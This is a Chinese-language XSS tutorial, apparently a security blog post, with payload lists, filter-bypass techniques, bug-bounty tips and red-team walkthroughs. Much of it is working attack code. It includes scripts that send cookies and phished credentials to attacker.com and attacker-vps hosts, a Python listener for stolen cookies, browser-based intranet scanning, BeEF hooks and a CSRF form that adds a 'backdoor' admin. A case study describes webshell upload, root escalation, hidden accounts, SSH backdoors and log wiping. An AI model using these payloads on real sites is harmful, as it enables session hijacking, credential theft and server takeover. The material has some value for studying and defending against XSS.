XSS 漏洞全解析:从原理到实战
XSS 漏洞全解析:从原理到实战(含 SRC 挖掘与护网渗透技巧)
免责声明
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
XSS(跨站脚本攻击)是我们渗透测试中最常遇到的客户端漏洞之一,其危害常被低估 —— 看似 “简单” 的脚本注入,却能成为突破内网、劫持会话、窃取敏感信息的关键跳板。本文将从 XSS 的本质出发,系统梳理其分类、 payload 构造技巧、SRC 挖掘策略,重点解析在实战与护网中如何利用 XSS 实现深度渗透,并结合真实案例阐述攻击链路,帮助读者建立从 “发现漏洞” 到 “实战利用” 的完整认知。
一、XSS 核心原理:从 “输入输出” 看跨站脚本的本质
XSS 是攻击者通过在网页中注入恶意 JavaScript 脚本,当用户访问被注入的页面时,脚本在用户浏览器中执行,从而实现窃取 cookie、劫持会话、钓鱼攻击等恶意操作的漏洞。其本质是Web 应用对用户输入的过滤不严格,导致未经过滤的输入被当作 HTML/JavaScript 代码在浏览器中解析执行。
1. XSS 的分类(按触发方式)
类型 | 触发场景 | 核心特点 | 实战价值(红队视角) |
---|---|---|---|
反射型 XSS | 恶意脚本通过 URL 参数传入,服务器未过滤直接返回页面中 | 非持久化,需诱骗用户点击含恶意参数的 URL | 适合钓鱼攻击(如伪造登录链接)、一次性会话劫持 |
存储型 XSS | 恶意脚本被存储到服务器(如数据库、文件),用户访问页面时被加载执行 | 持久化,所有访问该页面的用户都会触发 | 危害最大,可批量攻击(如论坛、留言板)、长期控制目标 |
DOM 型 XSS | 恶意脚本未经过服务器,仅在客户端通过 JavaScript 操作 DOM 时注入 | 完全在客户端执行,服务器响应中无恶意代码 | 难被服务器端 WAF 检测,适合绕过防护机制 |
2. XSS 的攻击链路(红队实战视角)
发现输入点 → 构造恶意脚本 → 注入并触发 → 执行恶意操作(窃取/劫持/提权) → 横向渗透
- 发现输入点:用户可控的所有输入位置(搜索框、留言板、个人资料、URL 参数等);
- 核心目标:让恶意 JavaScript 在目标用户(尤其是管理员)的浏览器中执行,获取其会话凭证或操控其行为。
二、XSS 语句大全:从基础到绕过(按场景分类)
XSS payload 的核心是闭合 HTML 标签 + 注入 JavaScript 代码,根据目标页面的过滤规则(如是否过滤``、onclick
等关键词),需要灵活构造。以下是实战中高频使用的 payload 及适用场景:
1. 基础型 XSS(无过滤场景)
适用于未对输入做任何过滤的网站,直接注入脚本标签:
<!-- 最基础的<script>标签 -->
<script>alert('XSS')</script><!-- 简写形式(HTML5支持) -->
<script>alert(document.domain)</script> <!-- 弹出当前域名,适合验证漏洞存在 --><!-- 事件触发型(无需<script>标签) -->
<img src=x onerror=alert('XSS')> <!-- 图片加载失败触发onerror事件 -->
<a href=javascript:alert('XSS')>点击我</a> <!-- 链接点击触发 -->
<button onclick=alert('XSS')>按钮</button> <!-- 按钮点击触发 --><!-- 其他标签事件 -->
<body onload=alert('页面加载完成触发')>
<div onmouseover=alert('鼠标悬停触发')>悬停我</div>
2. 绕过过滤的 XSS(实战高频)
当网站存在基础过滤(如拦截``、alert
等关键词)时,需通过编码、变形、标签混淆等方式绕过:
(1)标签 / 关键词变形绕过
<!-- 大小写混淆(针对大小写敏感的过滤) -->
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onErRoR=alert('XSS')><!-- 标签拆分(针对完整标签匹配) -->
<scr<script>ipt>alert('XSS')</scr</script>ipt> <!-- 中间插入被过滤的标签,浏览器解析时自动拼接 -->
<s<script>cript>alert('XSS')</s</script>cript><!-- 空格/制表符/换行符混淆 -->
< script > alert('XSS') < /script > <!-- 标签内加空格 -->
<img src=x onerror
=alert('XSS')> <!-- 事件后换行 -->
(2)编码绕过(针对 HTML 实体 / URL 编码过滤)
<!-- HTML实体编码(适用于HTML标签内) -->
<img src=x onerror=alert('XSS')> <!-- 单引号编码为' -->
<a href=javascript:alert('XSS')>点击</a> <!-- 十六进制编码' --><!-- URL编码(适用于URL参数中的XSS) -->
# 原payload:<script>alert('XSS')</script>
# URL编码后(提交到URL参数中):
%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E<!-- JavaScript编码(适用于脚本内) -->
<script>eval(unescape('%61%6C%65%72%74%28%27%58%53%53%27%29'))</script> <!-- 十六进制编码字符串,unescape解码执行 -->
(3)利用 HTML5 新特性 / 冷门标签
<!-- 利用<svg>标签(SVG支持内嵌脚本) -->
<svg onload=alert('XSS')> <!-- SVG加载时执行onload事件 -->
<svg><script xlink:href="javascript:alert('XSS')"></script></svg> <!-- SVG的xlink:href支持javascript协议 --><!-- 利用<video>、<audio>等媒体标签 -->
<video src=x onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')><!-- 利用<form>表单提交事件 -->
<form action=javascript:alert('XSS')><input type=submit></form> <!-- 点击提交触发 -->
(4)无字母数字的 XSS(绕过严格字符白名单)
当网站只允许数字、部分符号时,可通过 Unicode 编码、位运算等构造脚本(适用于高级绕过):
<!-- 利用Unicode字符拼接 -->
<script>eval("\u0061\u006C\u0065\u0072\u0074('XSS')")</script> <!-- \u0061对应'a' --><!-- 利用位运算生成字符(无字母数字) -->
<script>// 原理:通过!、+、[]等符号的位运算生成字符串(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]] // 生成"alert"
</script>
3. 实战型 XSS(以窃取 / 劫持为目标)
基础的alert()
仅用于验证漏洞,实战中需构造具有实际攻击效果的 payload:
(1)窃取 Cookie(最常用)
// 直接窃取并发送到攻击者服务器
<script>document.location='http://attacker.com/log?cookie='+document.cookie</script>// 利用img标签隐蔽发送(无跳转,用户无感知)
<img src=x onerror="new Image().src='http://attacker.com/log?cookie='+encodeURIComponent(document.cookie)">
(2)会话劫持(利用窃取的 Cookie)
// 若Cookie未设置HttpOnly,可直接通过脚本获取并替换当前会话
<script>// 假设已窃取管理员cookie:admin_cookie=xxxdocument.cookie = "sessionid=xxx; path=/; domain=target.com"; // 替换当前会话为管理员会话location.href = "http://target.com/admin"; // 跳转到管理员页面
</script>
(3)钓鱼攻击(伪造登录框)
<script>// 在当前页面弹出伪造的登录框,骗取用户输入账号密码var fakeLogin = prompt("会话已过期,请重新登录", "用户名:密码");if(fakeLogin) {new Image().src='http://attacker.com/log?creds='+fakeLogin; // 发送到攻击者服务器}
</script>
(4)内网探测(结合 XSS 进行内网信息收集)
<script>// 探测内网IP段(通过图片加载测试可达性)var ips = ['192.168.1.1', '192.168.1.100', '10.0.0.1'];ips.forEach(function(ip) {var img = new Image();img.src = 'http://' + ip + ':80/favicon.ico'; // 测试80端口img.onerror = function() {new Image().src='http://attacker.com/intranet?ip='+ip+'&port=80&status=down';}img.onload = function() {new Image().src='http://attacker.com/intranet?ip='+ip+'&port=80&status=up';}});
</script>
(5)持久化控制(通过 XSS 安装 BeEF 钩子)
// 注入BeEF钩子,将目标浏览器纳入BeEF控制(红队利器)
<script src="http://attacker-beef-server:3000/hook.js"></script>
三、SRC 中 XSS 漏洞的高效挖掘策略
在 SRC(安全响应中心)挖掘中,XSS 因验证简单、危害明确(尤其是存储型),是拿分的重要漏洞类型。但需遵循 “精准测试、有效证明、符合规范” 的原则,避免无效测试。
1. 高效测试流程(从输入点到漏洞验证)
(1)识别潜在输入点(优先测试这些位置)
- 用户可控参数:URL 查询参数(
?q=关键词
)、POST 表单(评论、留言、个人资料)、HTTP 头(Referer、User-Agent,部分网站会回显); - 特殊功能点:搜索建议、实时预览、文件上传预览(如上传图片后显示文件名)、富文本编辑器(最易出现存储型 XSS)。
(2)分类型测试方法
类型 | 测试步骤 | 验证方式 |
---|---|---|
反射型 XSS | 1. 在 URL 参数中插入基础 payload(如?q=alert(1) );2. 访问页面,查看是否弹出 1;3. 若被过滤,尝试绕过 payload(大小写、编码等)。 | 成功弹出 alert,且脚本在页面源码中未被过滤 |
存储型 XSS | 1. 在留言板 / 评论区输入alert(document.domain) ;2. 提交后,刷新页面或用其他账号访问该页面;3. 查看是否自动弹出域名。 | 所有访问该页面的用户都能触发 alert |
DOM 型 XSS | 1. 打开浏览器开发者工具(F12),切换到 Console;2. 输入document.write(location.hash.substr(1)) ,观察页面是否执行 URL 哈希中的代码;3. 构造 URL:http://target.com/#alert(1) ,刷新页面验证。 | URL 哈希中的脚本被执行,弹出 alert |
(3)SRC 提交技巧(提高审核通过率)
- 明确漏洞类型:标注是反射型 / 存储型 / DOM 型,存储型需说明影响范围(如 “所有访问该页面的用户”);
- 提供可复现步骤:包含完整 URL(如
http://target.com/search?q=
)、操作流程(“访问该 URL 即可弹出 alert”); - 证明危害:除了
alert()
,附加一个窃取 Cookie 的 POC(如http://target.com/profile?bio=
),证明漏洞可被利用; - 避免无效测试:对明显做了严格过滤的输入点(如仅允许数字、字母),无需反复尝试,节省时间。
2. SRC 中 XSS 的高价值场景(易被忽略的高分漏洞)
- 管理员后台 XSS:若管理员后台的输入点(如日志搜索、配置项)存在 XSS,可直接劫持管理员会话,危害远高于前台 XSS(SRC 评分更高);
- 富文本编辑器 XSS:如 CKEditor、TinyMCE 等编辑器,若过滤不严,可通过插入``等标签触发存储型 XSS;
- 移动端 XSS:APP 内嵌 WebView 中的输入点,因移动端防护较弱,更易存在 XSS,且 SRC 中竞争较少。
四、实战与护网中 XSS 的深度利用(红队进阶技巧)
在真实渗透和护网行动中,XSS 的价值远不止于弹窗 —— 它是突破边界、进入内网、控制高权限用户的重要跳板。以下是红队常用的进阶利用方式:
1. 利用 XSS 劫持管理员会话(获取后台权限)
场景
目标网站前台存在存储型 XSS(如留言板),管理员会定期查看用户留言,我们需要通过 XSS 获取管理员的 Cookie,进而登录后台。
实战步骤
-
构造窃取 Cookie 的存储型 XSS payload:
<img src=x onerror="new Image().src='http://attacker-vps:8080/log?cookie='+encodeURIComponent(document.cookie)+'&url='+encodeURIComponent(location.href)">
解释:当管理员查看留言时,脚本会将其 Cookie 和当前 URL 发送到攻击者的 VPS(
attacker-vps:8080
)。 -
在 VPS 上搭建简易日志服务器:
# 用Python快速搭建HTTP服务器,记录收到的Cookie from http.server import BaseHTTPRequestHandler, HTTPServer class LogHandler(BaseHTTPRequestHandler):def do_GET(self):print(f"收到请求:{self.path}") # 打印包含Cookie的路径self.send_response(200)self.end_headers() server = HTTPServer(('0.0.0.0', 8080), LogHandler) server.serve_forever()
-
等待管理员触发并劫持会话:
- 管理员查看留言后,VPS 收到日志:
/log?cookie=admin_session=abc123;role=admin&url=http://target.com/admin
; - 在浏览器中手动设置 Cookie:
document.cookie = "admin_session=abc123; path=/; domain=target.com"
; - 访问
http://target.com/admin
,成功以管理员身份登录后台。
- 管理员查看留言后,VPS 收到日志:
-
后续操作:在后台上传 Webshell、添加管理员账号,实现对服务器的控制(护网中此步骤可直接拿分)。
2. 结合 XSS 与内网穿透(突破网络边界)
场景
目标网站部署在内网(如192.168.1.100
),攻击者无法直接访问,但该网站对互联网开放,且存在反射型 XSS。通过 XSS 诱导内网用户访问,可借助其浏览器作为跳板探测内网。
实战步骤
-
构造内网探测 XSS payload:
<script>// 探测内网常见服务端口(80、443、3389、8080)var ports = [80, 443, 3389, 8080];var ips = ['192.168.1.1', '192.168.1.2', '192.168.1.10']; // 猜测内网IP段ips.forEach(ip => {ports.forEach(port => {var img = new Image();img.src = `http://${ip}:${port}/test`;img.timeout = 3000; // 超时3秒img.onerror = () => {new Image().src = `http://attacker-vps/log?ip=${ip}&port=${port}&status=closed`;};img.onload = () => {new Image().src = `http://attacker-vps/log?ip=${ip}&port=${port}&status=open`;};});}); </script>
-
生成含 payload 的 URL 并诱骗内网用户点击:
- 将 payload 编码后放入 URL:
http://target.com/search?q=...
; - 通过钓鱼邮件(伪装成 “系统通知”)发送给目标内网用户(如员工)。
- 将 payload 编码后放入 URL:
-
分析探测结果,发现内网资产:
- VPS 日志显示
192.168.1.10:8080
状态为open
,推测是内网管理系统; - 进一步构造 XSS payload 访问该系统:
http://target.com/search?q=fetch('http://192.168.1.10:8080').then(r=>r.text()).then(d=>new Image().src='http://attacker-vps/log?data='+d)
,获取内网系统页面源码,寻找新的漏洞点。
- VPS 日志显示
3. 利用 BeEF 框架实现 XSS 持久化控制(护网红队利器)
BeEF(Browser Exploitation Framework)是专门用于 XSS 攻击的框架,能通过一个简单的钩子脚本接管目标浏览器,执行多种攻击模块(会话劫持、内网扫描、键盘记录等)。
实战步骤
-
在 VPS 上部署 BeEF:
# 安装BeEF(Kali Linux自带,其他系统需手动安装) beef-xss # 启动BeEF,默认访问http://127.0.0.1:3000/ui/panel,账号密码beef/beef
-
构造 BeEF 钩子 XSS payload:
- 在 BeEF 面板中获取钩子脚本 URL:
http://attacker-vps:3000/hook.js
; - 构造 payload:``,注入到目标网站的存储型 XSS 点(如留言板)。
- 在 BeEF 面板中获取钩子脚本 URL:
-
目标触发后,在 BeEF 中执行攻击模块:
- 会话劫持:在 BeEF 的 “Commands”→“Browser”→“Cookies” 中直接获取目标 Cookie;
- 内网扫描:通过 “Network”→“Port Scanner” 扫描目标内网 IP 段和端口;
- 键盘记录:启用 “Keylogger” 模块,记录用户在浏览器中输入的账号密码;
- 社会工程学攻击:通过 “Social Engineering”→“Fake Notification Bar” 弹出伪造的登录提示,骗取敏感信息。
-
护网中的优势:BeEF 的攻击模块可按需加载,隐蔽性高,且能持续控制目标浏览器,适合长期渗透。
4. XSS+CSRF 组合攻击(执行敏感操作)
当目标网站存在 XSS 时,可结合 CSRF(跨站请求伪造)执行高权限操作(如添加用户、修改配置),无需窃取 Cookie。
场景
目标后台存在 “添加管理员” 功能,请求为POST /admin/addUser
,参数为username=xxx&password=xxx
,且无 CSRF Token 防护。
实战步骤
-
构造自动提交的表单 XSS payload:
<script>// 创建表单并自动提交,添加新管理员var form = document.createElement('form');form.method = 'POST';form.action = '/admin/addUser';form.innerHTML = `<input type="hidden" name="username" value="backdoor"><input type="hidden" name="password" value="P@ss123456">`;document.body.appendChild(form);form.submit(); // 自动提交表单 </script>
-
将 payload 注入存储型 XSS 点:当管理员查看该页面时,脚本自动执行,添加新管理员
backdoor
; -
后续利用:用新管理员账号登录后台,完成进一步渗透(如上传后门、关闭防护)。
五、护网行动中 XSS 的防御与反制(红蓝对抗视角)
在护网中,蓝队会通过 WAF、输入过滤、输出编码等方式防御 XSS,红队需掌握绕过技巧:
1. 蓝队常见防御措施
- 输入过滤:拦截``、
onerror
等关键词; - 输出编码:将用户输入中的
<
、>
、&
等字符编码为 HTML 实体(如<
→<
); - HttpOnly Cookie:设置
HttpOnly
属性,防止 JavaScript 读取 Cookie; - CSP(内容安全策略):通过
Content-Security-Policy
头限制脚本加载源(如只允许同源脚本)。
2. 红队绕过技巧
- 绕过 WAF:使用冷门标签(
、
)、Unicode 编码、分块注入(将脚本拆分为多段输入); - 突破 CSP:若 CSP 允许
unsafe-inline
或unsafe-eval
,可直接注入脚本;若存在 JSONP 接口,可利用其加载恶意脚本; - 对抗 HttpOnly:放弃窃取 Cookie,转而执行 CSRF 攻击(如自动提交表单)或钓鱼攻击(骗取用户主动输入账号密码)。
六、实战案例:某电商平台存储型 XSS 渗透全流程(护网红队视角)
背景
目标为某电商平台(www.shop.com
),SRC 活动中发现其商品评价区存在存储型 XSS,且管理员会定期查看评价(用于改进服务)。
渗透步骤
-
漏洞验证:
- 在商品评价框输入``,提交后刷新页面,成功弹出
www.shop.com
,确认存储型 XSS 存在。
- 在商品评价框输入``,提交后刷新页面,成功弹出
-
构造信息窃取 payload:
<img src=x onerror="var info = 'cookie='+document.cookie+'&userAgent='+navigator.userAgent+'&url='+location.href;new Image().src='http://attacker-vps:8000/log?'+info; ">
解释:不仅窃取 Cookie,还收集用户代理(判断是否为管理员浏览器)和当前 URL(判断是否在后台页面)。
-
获取管理员 Cookie 并登录后台:
- 2 小时后,VPS 收到管理员的 Cookie:
admin_token=xyz123; isAdmin=true
,且 URL 为http://www.shop.com/admin/reviews
(管理员评价管理页面); - 在浏览器中设置 Cookie 后访问
http://www.shop.com/admin
,成功进入后台。
- 2 小时后,VPS 收到管理员的 Cookie:
-
利用后台功能进一步渗透:
- 发现后台有 “批量导入商品” 功能,支持上传 CSV 文件,尝试上传含一句话木马的 CSV(伪装成商品数据);
- 上传成功后,通过文件包含漏洞执行木马,获取服务器
www-data
权限; - 进一步通过内核漏洞提权至
root
,控制整个服务器(护网中获得 “拿下核心服务器” 得分)。
-
持久化与痕迹清理:
- 添加隐藏管理员账号、植入 SSH 后门;
- 删除评价区的 XSS payload,清理服务器日志中与攻击相关的记录。
七、总结:XSS 的核心价值与红队思维
XSS 的本质是 “客户端代码注入”,其危害程度取决于触发者的权限和攻击场景—— 普通用户的 XSS 可能仅用于钓鱼,而管理员的 XSS 则能直接突破后台。在 SRC 挖掘中,需聚焦 “高影响输入点”(如管理员后台、存储型场景);在实战与护网中,需将 XSS 视为 “跳板工具”,结合社会工程学、内网探测、权限提升等技术,实现从 “客户端漏洞” 到 “系统控制权” 的突破。
红队工程师应建立 “XSS+” 思维:XSS 本身只是起点,真正的价值在于通过它串联起其他攻击链(如 XSS→Cookie 劫持→后台控制→服务器提权→内网横向)。同时,需时刻关注防御技术的发展(如 CSP、WAF 规则),不断更新 payload 库和绕过技巧,才能在红蓝对抗中占据主动。
重要提示:XSS 攻击可能侵犯用户隐私、破坏系统安全,所有测试必须在合法授权的前提下进行,严格遵守网络安全相关法律法规。
一些常用的XSS注入语句:
1."onmouseover="alert(/xss/)
"onmouseover="alert(/xxe/)
2.<script>alert(123)</script>3."><a href = "javascript:alert:alert(1)">click</a>4.<script " 'Onon>5.1.<script>alert(123)</script>
6.<sCRiPt sRC=//xss.pt/Qt10></sCrIpT>
7.<Img sRC=https://xss.pt/Qt10p.jpg>
8.<script>alert('XSS')</script>
9."><script>alert('XSS')</script>
10.'onclick='alert(1) //加上闭合
一般常用的事件格式:
<img src="" onerror="alert(/xss/)"/>
<iframe src="" onload="alert(1)"></iframe>
11."onclick="alert(1) //修改闭合方式
& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候)
' (单引号) => ' (当ENT_QUOTES设置)
< (小于号) => <
> (大于号) => >
12."><a href=javascript:alert(1)> //这里换用HTML的a标签来执行伪代码
13."><sCript>alert('XSS')</script>
14."><scriscriptpt>alert('XSS')</scrscriptipt>
15.javascript:alert('1') //由上面可以得,我们将t转换为HTML实体进行替换
16.javascript:alert('1')//http:// //这里先赋给脚本,后面在写http连接的格式来构成闭合,通过测试不能用双引号,这里我们用//代替了双引号
17.t_sort="onmousemove="javascript:alert('1') //该事件只需移动鼠标到隐藏的窗口即可完成提交。
18.<img%0asrc=1%0aonerror=alert(%27XSS%27)> //这里和SQL注入绕过的方法类似,禁止输入空格,我们可以使用能够分隔语句的转义字符即可,这里使用%0a来替换